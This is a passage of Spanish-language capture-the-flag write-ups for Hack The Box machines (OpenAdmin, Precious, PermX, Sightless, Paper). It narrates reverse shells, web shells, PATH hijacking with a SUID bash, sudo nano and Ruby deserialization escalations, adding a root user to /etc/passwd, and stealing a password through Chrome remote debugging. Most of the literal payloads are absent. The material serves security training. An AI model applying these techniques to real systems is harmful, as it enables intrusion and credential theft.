, lo que le permite ser ejecutado como root para realizar las tareas programadas.
gzip -c /var/log/apache2/access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_access.gz
:
Comprime el archivo de log de Apache (access.log
) en un archivo con fecha de ayer en el directorio de copias de seguridad.
gzip -c /var/www/file_access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_file_access.gz
:
Comprime otro archivo de log (file_access.log
) de acceso a archivos y lo guarda en el mismo directorio con un nombre similar.
La vulnerabilidad de Path Hijacking
ocurre cuando un atacante manipula el entorno del sistema para hacer que un programa como gzip
use rutas maliciosas o archivos falsificados, en lugar de los archivos legítimos que el sistema debería utilizar. En el contexto de este script, un atacante podría aprovechar esta vulnerabilidad de la siguiente manera:
Manipulación del $PATH
: Si un atacante logra modificar la variable de entorno $PATH
antes de que se ejecute el script, podría colocar una versión maliciosa de gzip
en un directorio que esté antes del directorio legítimo en el $PATH
(por ejemplo, en /tmp
o en un directorio controlado por el atacante). Esto haría que el script ejecute esa versión maliciosa de gzip
en lugar de la versión legítima.
Ejecución de código malicioso: La versión maliciosa de gzip
podría ejecutar comandos no deseados, robar información o incluso sobrescribir archivos críticos en el sistema.
Antes de analizar cualquier posible vulnerabilidad, verificamos el entorno de ejecución para entender cómo están configurados los directorios en los que el sistema busca los comandos ejecutables. El resultado muestra que gzip
se encuentra en la ubicación /bin/gzip
, lo cual es una ruta estándar y segura en sistemas Unix.
A continuación, verificamos la variable de entorno $PATH
que define los directorios donde el sistema busca los comandos ejecutables. En este caso, podemos observar que los directorios están bien definidos y no hay rutas sospechosas ni directorios controlados por el atacante antes de las ubicaciones críticas como /bin
o /usr/bin
.
Durante el análisis de la vulnerabilidad Path Hijacking
, hemos creado un script malicioso llamado gzip
en un directorio controlado por el atacante (/tmp
). Este script reemplaza la ejecución legítima de gzip
con un comportamiento malicioso, ejecutando el siguiente código.
Copia de bash: Copia el binario legítimo de bash
desde /bin/bash
a un archivo llamado /tmp/gzzcoo
.
SUID (Set User ID): Establece el bit SUID
en el archivo /tmp/gzzcoo
, lo que le da privilegios de superusuario a cualquier persona que ejecute ese archivo. Esto permite al atacante ejecutar el comando bash
con privilegios de root, lo que comprometería completamente el sistema.
Si la variable $PATH
de la víctima se ve comprometida y /tmp
aparece antes de /bin
en la secuencia de búsqueda de comandos, cualquier intento de ejecutar gzip
podría invocar el script malicioso en lugar del binario legítimo. Esto permitiría al atacante ejecutar comandos arbitrarios con privilegios de superusuario, como en el caso de la ejecución de /tmp/gzzcoo
con permisos de root.
Para explotar la vulnerabilidad de Path Hijacking
, manipulamos temporalmente la variable de entorno $PATH
para anteponer el directorio /tmp
, donde se encuentra nuestro script malicioso gzip
.
Al ejecutar este comando, logramos que el sistema buscara primero el script malicioso ubicado en /tmp
en lugar del binario legítimo de gzip
que reside en /bin/gzip
. Como resultado, el script malicioso fue ejecutado, lo que provocó la creación del archivo /tmp/gzzcoo
con privilegios de root
debido al bit SUID
configurado.
Finalmente a través de /tmp/gzzcoo -p
logramos obtener acceso como el propietario del binario (root
) debido que esta copia dispone de permisos de SUID
. Logramos obtener acceso a la flag root.xt.
Este comportamiento demuestra cómo una configuración incorrecta del $PATH
, donde directorios no confiables como /tmp
tienen prioridad, puede permitir la ejecución de scripts maliciosos que otorguen acceso con privilegios elevados.
OpenAdmin
es una máquina Linux de dificultad fácil que cuenta con una instancia de CMS OpenNetAdmin obsoleta. El CMS se explota para obtener un punto de apoyo y la enumeración posterior revela credenciales de la base de datos. Estas credenciales se reutilizan para pasar de forma lateral a un usuario con pocos privilegios. Se descubre que este usuario tiene acceso a una aplicación interna restringida. El examen de esta aplicación revela credenciales que se utilizan para pasar de forma lateral a un segundo usuario. Luego se explota una configuración incorrecta de sudo para obtener un shell de root.
Realizaremos un reconocimiento con nmap
para ver los puertos que están expuestos en la máquina OpenAdmin
. Este resultado lo almacenaremos en un archivo llamado allPorts
.
Lanzaremos scripts de reconocimiento sobre los puertos encontrados y lo exportaremos en formato oN y oX para posteriormente trabajar con ellos. En el resultado, comprobamos que se encuentran abierta una página web de Apache
y el servicioSSH
.
Transformaremos el archivo generado targetedXML
para transformar el XML en un archivo HTML para posteriormente montar un servidor web y visualizarlo.
Realizaremos una enumeración de directorios de la página web a través de la herramienta de gobuster
. En el resultado obtenido, logramos encontrar 3 directorios de la página web.
Accederemos a los diferentes directorios (/music
, /artwork
y /sierra
) y nos encontraremos con las siguientes páginas web.
Antes de acceder a esta nueva página, realizaremos a través de la herramienta de whatweb
un reconocimiento inicial de las tecnologías que utiliza la aplicación web.
Realizaremos una búsqueda de vulnerabilidades conocidas de OpenNetAdmin
a través de la herramienta de searchsploit
. En el resultado obtenido, comprobamos que la aplicación es vulnerable a Command Injection
y Remote Code Execution
.
Realizaremos la misma búsqueda por Internet y también logramos encontrar vulnerabilidades para esta versión.
El exploit que hemos encontrado para lograr explotar la vulnerabilidad es la siguiente, realiza una solicitud mediante cURL
en el cual a través de una serie de datos podemos conseguir una ejecución de comandos remotos RCE
.
Realizamos la explotación de la vulnerabilidad manualmente a través de cURL
y comprobamos que al intentar ejecutar el comando id
, en el resultado que se nos muestra confirmamos el output
de la ejecución de comandos.
El siguiente paso será lograr obtener una Reverse Shell para lograr conectarnos a la máquina vulnerable. Para ello, nos pondremos en escucha para recibir la Reverse Shell.
A través del siguiente comando, lograremos explotar la vulnerabilidad presente en OpenNetAdmin
indicándole que ejecute una Reverse Shell hacia nuestro equipo.
Verificamos que finalmente logramos obtener acceso a la máquina victima con el usuariowww-data
.
Por otro lado, también podemos hacer la explotación a través del siguiente exploit que nos hemos encontrado en GitHub el cual realiza la explotación de la vulnerabilidad de manera más automatizada.
Nos volveremos a poner en escucha con nc
para recibir la Reverse Shell.
Ejecutaremos el exploit indicándole la URL Target
donde se encuentra el OpenNetAdmin
y le indicaremos que ejecute una Reverse Shell.
Comprobamos que finalmente logramos obtener acceso al sistema a través de la Reverse Shell. Al recibir la RevShell, realizaremos el tratamiento básico para lograr obtener una TTY
totalmente interactiva.
Revisando el directorio donde nos encontramos, verificamos un archivo llamado database_settings.inc.php
de configuración de la base de datos. En dicho archivo, logramos obtener una contraseña en texto plano.
Probamos de comprobar si estas credenciales se reutilizan para el usuario jimmy
que hemos encontrado que dispone de bash
(comprobado desde el archivo /etc/passwd
).
Revisando los archivos de configuración de Apache
, nos encontramos habilitado una página web interna en el puerto 52846
la cual se llama internal.openadmin.htb
y tiene asignado el AssignUserID
como joanna
. Lo cual nos sugiere que quizás joanna
levante este servicio.
Desde nuestro equipo atacante, dispondremos del binario de chisel
el cual compartiremos a través de un servidor web con Python.
En la máquina víctima, nos descargaremos el binario compartido y le daremos los permisos de ejecución correspondientes.
En nuestra máquina atacante, configuraremos el chisel
para que actúe como servidor a través del puerto 1234
.
A través de la máquina vícitma, indicaremos a chisel
que actúe como cliente y se conecte a nuestro equipo realizando un Port Forwarding
del puerto interno de la página web encontrada hacia nuestro equipo.
A través del usuario jimmy
, comprobamos que disponemos de permisos de escritura en el directorio /var/www/internal
en el cual se está levantando esta página web interna. Por lo tanto, lo que decidimos probar es en crear un archivo llamado gzzcoo.php
el cual se trate de una simple web shell
para utilizarla y lograr ejecutar comandos.
Desde nuestra máquina atacante, realizaremos la comprobación de ejecución de comandos. En nuestra primera prueba, indicamos que ejecute el comando id
, confirmando que la usuaria joanna
ees la que ejecuta este servidor web y hemos sido capaces de ejecutar comandos remotod.s
Nos pondremos en escucha con nc
para recibir la Reverse Shell.
Codificaremos en URL Encode
la sintaxis de la Reverse Shell y utilizaremos la herramienta de cURL
para que realice la petición hacia nuestra web shell
y logre ejecutar la Reverse Shell.
Comprobamos que disponemos de acceso al sistema con el usuario joanna
y logramos visualizar finalmente la flag user.txt.
Realizaremos un tratamiento de la terminal para poder obtener una TTY totalmente interactiva.
Al revisar si el usuario joanna
dispone de algún permiso de sudoers
, nos mostraba el siguiente mensaje de error.
Por lo tanto, lo que decidimos es en subir nuestra clave pública en las claves autorizadas SSH del usuariojoanna
. Para ello, nos crearemos unas claves SSH
en nuestro equipo de atacante y copiaremos el contenido de la clave pública generada.
Escribiremos en el archivo /home/joanna/.ssh/authorized_keys
nuestra clave pública SSH
para ganar acceso al equipo como el usuario joanna
mediante SSH
sin proporcionar credenciales.
Probamos de autenticarnos con el usuario joanna
conectándonos mediante SSH
al equipo, finalmente logramos el acceso correctamente. Ejecutaremos un export TERM=xterm
para poder realizar Ctrl+L
.
Ahora si ejecutamos sudo -l
, ya no nos muestra el mensaje de error que vimos anteriormente. Al comprobar si este usuario dispone depermisos de sudoers
, nos encontramos que el usuario puede ejecutar como sudo
sin proporcionar credenciales el binario/bin/nano
sobre el archivo ubicado en /opt/priv
.
Ejecutaremos el comando sudo /bin/nano /opt/priv
para editar el archivo con permisos de sudo
.
Una vez estemos dentro del archivo con el editor nano
, para poder obtener una shell como root
, deberemos de presionar Ctrl+R
para acceder al apartado de Read file
.
Una vez estemos en el modo de Read File
, presionaremos la combinación de Ctrl+X
para acceder a la opción de Execute Command
.
Al seleccionar esta nueva opción, comprobamos que nos permite realizar una ejecución de comandos. Esto es debido que nano
tiene implementado una manera para lograr ejecutar un comando en el sistema y que el output
del resultado del comando se almacene en nuestro archivo en el que nos encontramos trabajando.
Teniendo esto en cuenta, podemos aprovecharnos de esto para ganar acceso a una shell a través del siguiente comando.
Verificamos que por detrás de nano
, se nos ha abierto una shell
en la cual podemos ejecutar comandos. Ejecutaremos /bin/bash
para obtener una bash
. Finalmente logramos visualizar la flag root.txt.
Precious
es una máquina Linux de dificultad fácil que se centra en el lenguaje "Ruby". Alberga una aplicación web "Ruby" personalizada que utiliza una biblioteca obsoleta, concretamente pdfkit, que es vulnerable a "CVE-2022-25765", lo que lleva a un shell inicial en la máquina de destino. Después de un pivote que utiliza credenciales de texto sin formato que se encuentran en un archivo "config" del repositorio Gem, el cuadro concluye con un ataque de deserialización inseguro en un script "Ruby" personalizado y obsoleto.
Realizaremos un reconocimiento con nmap para ver los puertos que están expuestos en la máquina Precious. Este resultado lo almacenaremos en un archivo llamado allPorts
.
Lanzaremos scripts de reconocimiento sobre los puertos encontrados y lo exportaremos en formato oN y oX para posteriormente trabajar con ellos. En el resultado, comprobamos que se encuentran abierta una página web de Nginx
.
Transformaremos el archivo generado targetedXML
para transformar el XML en un archivo HTML para posteriormente montar un servidor web y visualizarlo.
Añadiremos la siguiente entrada en nuestro archivo /etc/hosts
.
Realizaremos una comprobación de las tecnologías que utiliza el sitio web.
Accederemos a http://precious.htb y verificaremos el siguiente contenido. Por lo que parece ser, es un convertidor de una página web a PDF. Se nos proporciona un input
en donde indicarle a la aplicación la URL que queramos convertir.
Realizaremos una enumeración de páginas y directorios y no logramos encontrar ninguna información relevante.
Dado que podemos indicarle una URL a la aplicación web, probaremos de levantar un servidor web en nuestro equipo para verificar cómo funciona por detrás la aplicación.
En la página web indicaremos nuestro servidor web y le daremos a la opción de Submit
.
Al interceptar la solicitud en BurpSuite
para verificar cómo es el funcionamiento, verificamos que lo que se tramita por POST
es el siguiente contenido a través de la variable url
.
Al tramitar la solicitud, verificamos en la respuesta por parte del servidor que se ha generado un PDF
. También podemos revisar en las mismas cabeceras que utiliza Ruby
y Phusion Passenger
, un servidor de aplicaciones que admite aplicaciones Ruby, Python, Node y Meteor.
Verificaremos que se nos ha descargado el PDF
de la exportación de nuestro servidor a PDF. Al analizar el archivo a través de exiftool
, comprobamos que el PDF se genera a través de pdfkit v0.8.6
.
Revisando posibles vulnerabilidades de pdfkit
, nos encontramos con el siguiente CVE-2022-25765
.
El paquete pdfkit de la versión 0.0.0 es vulnerable a la inyección de comandos cuando la URL no está correctamente desinfectada.
Por otro lado, nos encontramos con el siguiente blog en el cual mencionan con un PoC el cómo se genera esta vulnerabilidad.
Revisando por Internet, nos encontramos con el siguiente repositorio de GitHub que realiza la explotación automáticamente.
En el código del script de la explotación de la vulnerabilidad, verificamos cómo funciona por detrás el payload. Básicamente, si el parámetro proporcionado contiene un carácter codificado en URL y una cadena de sustitución de comando de shell, se incluirá en el comando que PDFKit
ejecuta para representar el PDF.
Para recibir acceso a la máquina, nos pondremos en escucha con nc
.
Ejecutaremos el exploit del repositorio de GitHub indicado. Indicaremos el target
vulnerable y nuestra dirección y puerto dónde recibiremos la Reverse Shell.
Verificamos que hemos ganado acceso correctamente al equipo.
Para probar la explotación manualmente y entender el funcionamiento del exploit anterior, realizamos la siguiente prueba.
Desde la URL vulnerable, le inyectamos el comando id
aprovechándonos de la variable name
que es la que no sanitiza correctamente lo que introduce el usuario.
Verificaremos que al realizar la conversión de la Web page a PDF, se nos muestra el comando ejecutado en el mismo PDF, esto debido al Command Injection
.
Para realizar una Reverse Shell realizando la explotación manual, realizaremos los siguientes pasos. Nos pondremos en escucha con nc
para recibir la Reverse Shell.
Desde BurpSuite
interceptaremos la solicitud al darle a Submit
después de indicarle la URL. Indicaremos el siguiente payload para proporcionarnos la Reverse Shell.
Comprobaremos que hemos conseguido realizar el Command Injection
y hemos recibido correctamente la Reverse Shell.
Nos encontramos actualmente con el usuarioruby
, el cual investigando su directorio personal, logramos encontrar un archivo el cual parece contener las credenciales del usuario henry
.
Tratamos de acceder con las credenciales obtenidas del usuariohenry
y verificamos del correcto acceso y de la visualización de la flag de user.txt.
Revisaremos los grupos de los que forma parte el usuario actual y si disponemos de algún permiso de sudoers
. Al verificar los privilegios de sudoers
, nos encontramos que podemos ejecutar como sudo
sin proporcionar credenciales el script que se encuentra en /opt/update_dependencies.rb
.
El script compara las versiones de las dependencias instaladas con las que están definidas en dependencies.yml
. Primero, carga la lista del archivo YAML
y obtiene la lista de gems locales. Luego, recorre ambas listas y muestra si las versiones coinciden o no
Al analizar posibles vulnerabilidades del script de Ruby, nos encontramos con un problema de deserialización que se explica a continuación.
Lo primero será lograr identificar la versión de Ruby
que tiene instalada el equipo víctima.
En la página de PayloadsAllTheThings
nos encontramos con diferentes métodos de abusar de esta deserialización en Ruby.
A través del siguiente dependencies.yml
malicioso, lo que realizaremos es que consiga ejecutar el comando id
para verificar si funciona correctamente el Deserialization Attack.
Al ejecutar el script de Ruby, verificamos que carga el archivo malicioso y finalmente se muestra la ejecución del comando inyectado, y se verifica que el usuario que ejecuta el comando es el usuario root
.
Por lo tanto, ya que el usuario que ejecuta el comando es root
, lo que trataremos es de realizar lo siguiente.
A través del siguiente archivo dependencies.yml
malicioso, lo que realizaremos es modificar el binario de /bin/bash
para darle permisos de SUID
y así lograr convertirnos en usuario root
. Verificaremos los permisos actuales del binario/bin/bash
el cual root
es propietario.
Una vez modificado nuestro archivo dependencies.yml
en el directorio actual, ejecutaremos el script de Ruby. Analizaremos los permisos del binario /bin/bash
y comprobaremos que se le han asignado permisos de SUID
.
Dado que el binario de /bin/bash
dispone de SUID
, podemos convertirnos en root
como se muestra a continuación. Finalmente logramos visualizar la flag de root.txt.
Realizaremos un reconocimiento con nmap para ver los puertos que están expuestos en la máquina PermX. Este resultado lo almacenaremos en un archivo llamado allPorts
.
Lanzaremos scripts de reconocimiento sobre los puertos encontrados y lo exportaremos en formato oN y oX para posteriormente trabajar con ellos. En el resultado, comprobamos que se encuentran abierta una página web de Apache
.
Transformaremos el archivo generado targetedXML
para transformar el XML en un archivo HTML para posteriormente montar un servidor web y visualizarlo.
Añadiremos la siguiente entrada en nuestro archivo /etc/hosts
.
Realizaremos una comprobación de las tecnologías que utiliza el sitio web.
Realizaremos una enumeración de directorios de la página web a través de gobuster
. Obtuvimos el siguiente resultado, sin ninguna información relevante.
Enumeramos posibles subdominios de la página web a través de wfuzz
y logramos enumerar un subdominio llamado lms.permx.htb
.
Añadiremos esta nueva entrada en nuestro archivo /etc/hosts
.
Realizaremos una comprobación de las tecnologías que utiliza el sitio web.
Al acceder a http://lmx.permx.htb, nos encontramos con un sitio web de Chamilo LMS
. No logramos encontrar credenciales de defecto de la plataforma.
Al realizar una enumeración de directorios y archivos a través de dirsearch
, logramos obtener diferentes archivos, como el README
o robots.txt
.
Analizamos el archivo README.md
, y logramos obtener la versión de Chamilo LMS
.
Al realizar una búsqueda por Internet de posibles vulnerabilidades de esta versión, nos encontramos con el siguiente CVE-2023-4220
.
Carga de archivos sin restricciones en la funcionalidad de carga de archivos grandes en /main/inc/lib/javascript/bigupload/inc/bigUpload.php en Chamilo LMS
Por otro lado, también logramos encontrar el siguiente repositorio de GitHub que nos permite realizar la explotación de dicha vulnerabilidad de Unrestricted File Upload
.
El primer paso, será lograr escanear la página web para verificar si es vulnerable. Esto lo podremos comprobar a través del módulo scan
que nos ofrece el exploit.
Una vez localizado que el target es vulnerable, el siguiente paso será lograr subir una webshell
al Chamilo LMS
. Al ejecutar el exploit, se nos proporciona el acceso a la webshell
.
Realizamos la comprobación para verificar si podemos llegar a ejecutar comandos. Probamos de ejecutar el comando whoami
y obtuvimos el resultado esperado.
El siguiente paso será lograr tener acceso al equipo. Por lo tanto, nos pondremos en escucha con la herramienta de nc
.
Ejecutaremos en la webshell
que disponemos el siguiente comando para lograr obtener una Reverse Shell.
Volviendo a nuestra terminal, verificamos que hemos logrado obtener acceso al sistema como usuario www-data
.
Revisamos si disponemos de algún privilegio o grupo que podamos intentar aprovecharnos para escalar privilegios o movernos lateralmente, pero no logramos obtener resultado positivo.
Enumerando el directorio de /var/www/chamilo/app/config
, realizamos una búsqueda recursiva en todos los archivos para ver si había algún string con el valor password
. Finalmente parece haber obtenido unas credenciales de la base de datos.
De los usuarios que disponen bash
que enumeramos en /etc/passwd
, probamos de autenticarnos con el usuario mtz
y las credenciales obtenidas anteriormente y logramos el acceso.
Visualizamos finalmente la flag de user.txt.
Revisamos los grupos a los que forma parte el usuario mtz
, no obtenemos resultado relevante. Comprobando los permisos de sudoers
, verificamos que podemos ejecutar como sudo
el script que se encuentra en /opt/acl.sh
.
El script intenta restringir el acceso solo a archivos dentro de /home/mtz/
, pero la validación es defectuosa:
Solo verifica que $target
empiece con /home/mtz/
, pero no bloquea correctamente rutas absolutas o enlaces simbólicos.
El check "$target" == *..*
no es suficiente para prevenir Path Traversal.
Si podemos ejecutar este script como sudo
, podemos modificar permisos de cualquier archivo arbitrario fuera de /home/mtz/
.
Verificamos el uso del script, en el cual se debe indicar el usuario que se le otorgarán los permisos, el tipo de permisos y el archivo.
Creamos un enlace simbólico apuntando a /etc/passwd
. Usamos el script vulnerable para modificar los permisos ACL de /etc/passwd
, otorgándonos control total. Verificamos que tenemos permisos de escritura sobre el archivo indicado, con lo cual podríamos llegar a editar el /etc/passwd
y añadir una nueva entrada de un nuevo usuario root
.
Desde nuestro equipo, generaremos una nueva contraseña con openssl
.
Agregaremos un nuevo usuario (gzzcoo) con UID 0
(root) a /etc/passwd
. Verificamos que la entrada se ha añadido correctamente.
Finalmente, nos cambiamos al usuario creado y obtenemos acceso como usuario root
, con lo cual podemos visualizar la flag de root.txt.
Esto se aprovecha para obtener acceso al servicio FTP, que contiene una base de datos KeePass. El acceso a la base de datos revela las claves SSH
raíz, lo que conduce a un shell privilegiado en el host.
También podemos aprovechar para convertirnos en usuario raíz con la función PHP-FPM en Froxlor para obtener una ejecución de código remoto para obtener el id_rsa del usuario raíz.
Realizaremos un reconocimiento con Nmap
para ver los puertos que están expuestos en la máquina Sightless
. Este resultado lo almacenaremos en un archivo llamado allPorts
.
Lanzaremos scripts de reconocimiento sobre los puertos encontrados y lo exportaremos en formato oN
y oX
para posteriormente trabajar con ellos. Verificamos que al parecer se trata de una máquina Ubuntu que dispone de una página de Nginx
y servicios FTP
y SSH
.
Procederemos a transformar el archivo generado targetedXML
para transformar el XML
en un archivo HTML
para posteriormente montar un servidor web y visualizarlo.
A través de la herramienta whatweb
revisaremos las tecnologías que utiliza el sitio web.
Revisando en el sitio web, verificamos que haciendo hovering en el sitio web, nos encontramos que al parecer existe un sitio web llamado sqlpad.sightless.htb
.
Procederemos a realizar una enumeración de directorios básica con la herramienta de dirsearch
, verificamos que no logramos obtener ningún resultado esperado.
Procederemos a añadir en nuestro archivo /etc/hosts
la entrada sqlpad.sightless.htb
.
Al revisar más información sobre la versión del SQLPad
, verificamos que es una versión vulnerable. Realizando una búsqueda por internet, nos encontramos con el siguiente CVE.
Una inyección de plantillas en el endpoint de prueba de conexión conlleva a un RCE en el repositorio de GitHub sqlpad/sqlpad versiones anteriores a 6.10.1
Por otro lado, también logramos encontrar un repositorio de GitHub donde nos proporcionan un exploit para aprovecharnos de la vulnerabilidad. Procederemos a clonarnos el repositorio en nuestro equipo atacante.
También verificamos el uso del exploit, en el cual nos indica que nos pongamos en escucha con nc
por un puerto y al ejecutar el exploit recibiremos en principio una Reverse Shell hacía la máquina.
Tal y como nos indica el PoC del exploit, nos pondremos en escucha por un puerto.
Verificamos nuevamente que hemos recibido correctamente acceso a la máquina, pero al parecer no nos encontramos en la máquina principal. Parece ser que nos encontramos como usuario root
en una especia de máquina de Docker que es la que levantaba el servicio de SQLPad
.
Procederemos a revisar el archivo /etc/passwd
en busca de usuarios que dispongan de una bash
, en el resultado obtenido verificamos que el usuario michael
dispone de terminal.
Dado que actualmente somos el usuario root
, procederemos a revisar el contenido del archivo /etc/passwd
el cual contiene las contraseñas de los usuarios, entre las cuales apareecn la del usuario michael
.
Procederemos a guardarnos en nuestro equipo local el hash del usuario en un archivo llamado hashes
.
Al proceder a intentar crackear el hash con la herramienta de hashcat
, revisaremos que finalmente logramos crackear el hash y obtener la contraseña en texto plano.
Probaremos de acceder al equipo víctima 10.10.11.32
mediante el protocolo SSH
con el usuario michael
y las credenciales obtenidas y verificamos que hemos logrado acceder al equipo y verificar la flag de user.txt.
Revisando los puertos que se encuentran abiertos en el equipo local (localhost), verificamos que existen varios puertos inusuales.
Al realizar un cURL
de la dirección 127.0.0.1:8080
, verificamos que se trata de una página web de Froxlor.
Procederemos a realizar Port Forwarding para indicar que nuestro localhost:8080
sea el 127.0.0.1:8080
de la máquina víctima.
Desde nuestro equipo al verificar el acceso a http://127.0.0.1:8080, verificamos que es un panel de autenticación de Froxlor.
Al revisar los archivos habilitados de Froxlor
que se encuentran en el equipo víctima, verificamos varios subdominios (admin.sightless.htb
y web1.sightless.htb
).
Procederemos a añadir estas estradas en nuestro equipo pero en el localhost
, debido que estamos realizando Port-Forwaring y añadiendo estas entradas en la dirección IP de la máquina víctima no nos serviría, ya que al Froxlor solamente disponemos de acceso desde nuestro 127.0.0.1
debido al Port Forwarding realizado con SSH
.
Revisando los procesos que se encuentran en ejecución en el sistema, verificamos que hay un usuario llamado john
que se encuentra ejecutando servicios como Chrome
, lo cual parece que se encuentra ahora mismo activo.
Revisando los procesos activos sobre los puertos internos que habíamos descubierto anteriormente, verificamaos que hay un proceso del usuario john
que utiliza este puerto interno con un proceso de Chrome
, lo cual sugiere que el usuario se encuentra actualmente utilizando el navegdor.
Dado que John
está autenticado y visualiza la página web de Froxlor
con Chrome en el destino, podemos aprovechar el puerto de herramientas de desarrollo remoto para ver la página como John
.
Sin embargo, no está claro en qué puerto está escuchando el depurador, por lo que simplemente reenviaremos varios puertos y los probaremos todos los que encontramos inicialmente.
Procederemos a acceder con Chromium
y accederemos a la siguiente página web.
Al acceder al sitio web, deberemos de configurar el target, para ello le daremos a Configure.
Añadiremos los puertos que hemos realizado Port-Forwarding sober los puertos internos de la máquina víctima.
Al revisar nuevamente, verificamos que logramos obtener la sesión de depuración remota, procederemos a acceder a Inspect.
Al acceder a la depuración remota de Chrome, verificamos que hay una sesión activa al parecer del usuario john
, en la cual se encuentra accediendo al Froxlor
. Pasado un tiempo, verificamos que cuando el usuario accede, en el apartado de (Network < index.php < Payload
) verificamos que logramos obtener la contraseña que está ingresando el usuario.
Verificamos que hemos logrado acceder correctamente al Froxlor
con el usuario admin
.
Después de una larga revisión en el sitio web, verificamos que podemos crear nuevas versiones de PHP que permiten ejecutar comandos para levantar servicios.
Esto lo podemos llevar a nuestro favor para crear una nueva versión la cual no ejecute un comando legítimo, sino un comando que nos interese a nosotros que ejecute.
En este caso, procederemos a realizar que realice una copia de la clave privada SSH del usuario root
y lo almacene en la siguiente ruta: /tmp/id_rsa
.
Procederemos de acceder a System < Settings < PHP-FPM
.
Volveremos a iniciar nuevamente el servicio de PHP-FPM
para que ejecute la nueva versión de PHP que hemos creado. Esto lo que hará es cargar esa nueva versión y ejecutar el comando establecido.
Después de un tiempo, verificamos que en el directorio /tmp
ha aparecido la clave privada del usuario root
. Pero con los permisos que dispone el archivo actualmente, no podemos utilizarlo.
El siguiente paso, será darle los permisos necesarios a la copia de la clave privada para poder utilizarla correctamente. Modificaremos la versión de PHP tal como realizamos anteriormente y volveremos a iniciar el servicio.
Al cabo de un tiempo, verificamos que el archivo id_rsa
ha sido modificado correctamente con permisos totales.
Procederemos a verificar el contenido de la clave privada SSH del usuario root
.
Desde la misma máquina podermos utilizar la clave para autenticarnos como usuario root
y ganar el acceso completamente.
También lo que podremos realizar es copiar el contenido de la clave privada en nuestro equipo local, le daremos los permisos necesarios y procederemos a conectarnos. Verificaremos que logramos mostrar el contenido de la flag root.txt.
Después de revisar el WriteUp original una vez que la máquina Sightless
se encuentra retirada en HTB, verificamos la ruta de la escalada de privilegios original por la cual estaba planeada la máquina.
En un principio, la ruta que nosotros logramos explotar inicialmente también es válida, ya que nos aprovechanos de las funciones que ofrece Froxlor
.
En la página web de Froxlor
, verificamos que en el aprtado de Resources < Customers
, aparece que hay un usuario llamado web01
.
Al acceder a este usuario dándole en el hipervínculo que nos aparecía, verificamos que tiene acceso a una pestaña llamada FTP < Accounts
. Al acceder a esta página, verificamos que existe un usuario llamado web1
que parece indicarnos que es válido pra acceder al FTP que enumeramos principalmente en el escaneo inicial con Nmap
.
Al editar la cuenta del usuario de FTP, verificamos que podemos asignarle una contraseña al usurio. En nuestro caso le pondremos: Password01
Procederemos de autenticarnos al servicio FTP
con las credenciales web1/Password01
y que ganamos del acceso correcamente.
Enumerando los directorios disponibles en el servicio FTP, verificamos que hay un archivo de una base de datos de Keepass, el cual procederemos a descargarlo de manera local para verificar sobre él.
Verificamos que abriendo el archivo nos requería de credenciales para acceder a él. Por otro lado, comprobamos que el archivo se trata de una base de datos de Keepass 1.x.
Procederemos a obtener el hash de la contraseña maestra del Keepass a través de la herramienta de keepass2john
.
Con la herramienta de john
procederemos a crackear el hash y en este caso nos logra mostrar la contraseña en texto plano.
Dado que se trata de una base de datos de Keepass 1.x, deberemos de descargarnos la herramienta de kpcli
para poder trabajar con el archivo de la base de datos de contraseñas. Verificaremos que proporcionándole la contraseña maestra abtenida logramos el acceso correctamente.
Revisamos que disponemos de de un directorio /General/sightless.htb/Backup
el cual dispone de un archivo llamado ssh
y de unas credenciales.
Procederemos a revisar el archivo ssh
, verificamos que existe un archivo llamado id_rsa
que parece ser una clave privada SSH, lo exportaremos en nuestro directorio de trabajo.
Le daremos los permisos necesarios a la clave privada encontrada en el directorio Backup
, y en este caso nos muestraa un mensaje de eror de libcrypto
.
Lo que realizaremos es copiar el contenido de la clave privada en un nuevo archivo llamado root_key
para evitar que hayan carácteres extraños en el archivo orignalmente exportada.
Verificaremos que si procedemos nuevamente de conectarnos al SSH mediante la clave privada del usuario root
, ganamos acceso a la máquina y visualizamos la flag de root.txt.
Realizaremos un reconocimiento con nmap para ver los puertos que están expuestos en la máquina Paper. Este resultado lo almacenaremos en un archivo llamado allPorts
.
Lanzaremos scripts de reconocimiento sobre los puertos encontrados y lo exportaremos en formato oN y oX para posteriormente trabajar con ellos. En el resultado, comprobamos que se encuentran abierta una página web de Apache
.
Transformaremos el archivo generado targetedXML
para transformar el XML en un archivo HTML para posteriormente montar un servidor web y visualizarlo.
Realizaremos una comprobación de las tecnologías que son utilizadas en el sitio web.
Revisamos las cabeceras de la página web, y nos encontramos en la cabecera X-Backend-Server
el dominio office.paper
. Esto parece indicar que existe un servidor con ese nombre de host.
Añadiremos esta nueva entrada en el archivo /etc/hosts
.
Realizaremos una comprobación de las tecnologías que son utilizadas en el sitio web, en este caso, parece que se trata de un WordPress
.
Accederemos a http://office.paper y nos encontramos con la siguiente página web en la cual se nos presenta el CMS de WordPress
en una versión 5.2.3.
Encontramos una publicación en el blog de WordPress con el título "Feeling Alone!", escrita por el usuario Prisonmike
. En ella, menciona que eliminó a otros usuarios del blog y que ahora solo queda su cuenta.
En los comentarios, otro usuario Nick
le advierte que debería eliminar "contenido secreto" de sus borradores, ya que no son tan seguros como él cree.
Esto sugiere que los borradores podrían contener información sensible. Como siguiente paso, intentaremos acceder a ellos o buscar credenciales que nos permitan entrar al panel de administración.
Realizaremos también una enumeración de subdominios de la página web. En el resultado obtenido, comprobamos la existencia del subdominio chat.office.paper
.
Añadiremos esta nueva entrada en nuestro archivo /etc/hosts
.
Accederemos a esta nueva página web, y nos encontramos con la interfaz de rocket.chat
que nos requiere proporcionar credenciales que actualmente no disponemos.
A través de searchsploit
, verificaremos posibles vulnerabilidades conocidas para la versión de WordPress
que dispone la página web.
El resultado mostró varias vulnerabilidades, destacando una en particular:
WordPress Core < 5.2.3 - Viewing Unauthenticated/Password/Private Posts
Esta vulnerabilidad permite visualizar posts privados, protegidos por contraseña o en borrador sin autenticación.
Recordando el comentario de Nick
en el blog, donde advertía a Prisonmike
sobre la presencia de "contenido secreto" en sus borradores, esta vulnerabilidad podría permitirnos acceder a información sensible si logramos explotarla.
Como siguiente paso, intentaremos reproducir la explotación de esta vulnerabilidad para ver si es posible acceder a los borradores y extraer información útil.
La vulnerabilidad reportada, es identificada mediante el siguiente CVE-2019-17671
.
En WordPress anterior a 5.2.4, es posible la visualización no autenticada de cierto contenido porque la propiedad de consulta estática es manejada inapropiadamente.
Realizamos una búsqueda en WPScan
para verificar la existencia de la vulnerabilidad y del PoC, y nos encontramos con la prueba de concepto para explotar esta vulnerabilidad.
